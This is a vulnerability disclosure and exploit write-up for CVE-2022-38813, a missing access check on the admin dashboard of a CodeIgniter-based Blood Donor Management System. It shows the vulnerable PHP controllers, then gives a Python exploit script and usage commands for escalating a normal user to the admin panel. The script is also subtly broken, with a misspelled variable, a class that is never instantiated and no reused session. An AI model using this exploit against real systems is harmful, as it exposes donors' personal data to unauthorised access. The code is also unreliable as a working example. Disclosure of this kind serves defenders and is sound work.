CVE-2022-38813

Veritical Privilege Escalation via user parameter in Blood Donor Management System Using Codeigniter v 1.0

Technical description:

Blood Donor Management System 1.0 does not properly restrict access to admin/dashboard.php, which allows attackers to access all data of users, delete the users, add and manage Blood Group, and Submit Report.

Affected components - Source Code

in following Source Code we can see that user/dashboard does not properly restrict an user paramters so attacker can change that paramter to admin parameter and gain access the admin account

Vulnerable Page - Dashboard.php in User & Dashboard.php in Admin

  // Dashboard.php in User
class Dashboard extends CI_Controller
{
    //Validating login
    function __construct()
    {
        parent::__construct();
        if (!$this->session->userdata('uid'))
            redirect('user/login');
    }

    public function index()
    {
        $this->load->view('user/dashboard');
    }
}

Change user paramter to admin in url ie: localhost/blood/user/dashboard to localhost/blood/admin/dashboard

  // Dashboard.php in Admin
<?php
defined('BASEPATH') or exit('No direct script access allowed');

class Dashboard extends CI_Controller
{

    public function index()
    {
        $this->load->model('admin/Dashboard_Model', 'adminn');
        $totalusercount = $this->adminn->totalusercount();
        $totalbloodgroupcount = $this->adminn->totalbloodgroupcount();
        $this->load->view('admin/dashboard', ['totalusercount' => $totalusercount, 'totalbloodgroupcount' => $totalbloodgroupcount]);
    }
}

Exploit

import argparse
import requests
from termcolor import cprint
import sys
from bs4 import *
color = "green"
cprint("[+] CVE-2022-38813 Authenticated Privilege Escalation in Blood Donor Management System v1.0", color)
cprint("[+] Author: RashidKhan Pathan aka iHexCoder", color)
cprint("[!] Usage: run exploit.py username password payload", color)
cprint("[!] Example: python3 exploit.py admin johndoe@gmail.com Test@123", color)

class PrivilegeEscalation:
    color = "green"

    def __init__(self, username, password, payload):
        self.username = username
        self.password = password
        self.paylaod = payload

    def authentication(self):
        color = "green"
        cprint("[+] Authenticating User", color)
        cprint("[+] Username: " + args.username, color)
        cprint("[+] Password: " + args.password, color)
        cprint("[+] Payload: " + args.payload, color)

        login_url = "http://localhost/blood/user/login"

        data = {
            "email": args.username,
            "password": args.password
        }
        login_response = requests.post(login_url, data=data)

        cprint("[+] Exploiting...Started", color)
        if "/user/login" in login_response.url:
            cprint("[+] Credentials is not Valid", "red")
            sys.exit(1)
        else:
            cprint("[+] Authenticated Successfully as a Normal User ", color)
            cprint("[+] Normal User URL Endpoint " + login_response.url, color)

        url = args.payload
        if args.payload != "admin":
            cprint("[+] Please Add Valid Payload", "red")
            sys.exit(1)

        response = requests.get(f"http://localhost/blood/{url}/dashboard")
        cprint("[+] Exploit Compleated", color)
        cprint("[+] Accessed Admin Panel Successfully " + response.url, color)
        cprint("[+] Copy the URL and Replace with user/dashboard URL with " +  esponse.url, color)
        cprint("[+] After Replacing it You Should see the Bypassed Admin Panel", color)

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("username", help="Please Add Username", type=str)
    parser.add_argument("password", help="Please Add Password", type=str)
    parser.add_argument("payload", help="Please Add Password", type=str)
    args = parser.parse_args()

    privilegeEscalation = PrivilegeEscalation
    privilegeEscalation.authentication((args.username, args.password, args.payload))

CVE-2022-38813.py usage -

# Changes The Vulnerable user paramter from url to escalate privileges normal user to admin -
python3 CVE-2022-38813.py <username> <password> <payload>

Example -

python CVE-2022-38813.py johndoe@gmail.com Test@123 admin

Exploit Proof of concept (Poc) -

References -

Software Link: https://phpgurukul.com/blood-donor-management-system-using-codeigniter

Discovered & Developed by -

RashidKhan Pathan (iHexCoder), 9 September 2022. Twitter: @itRashid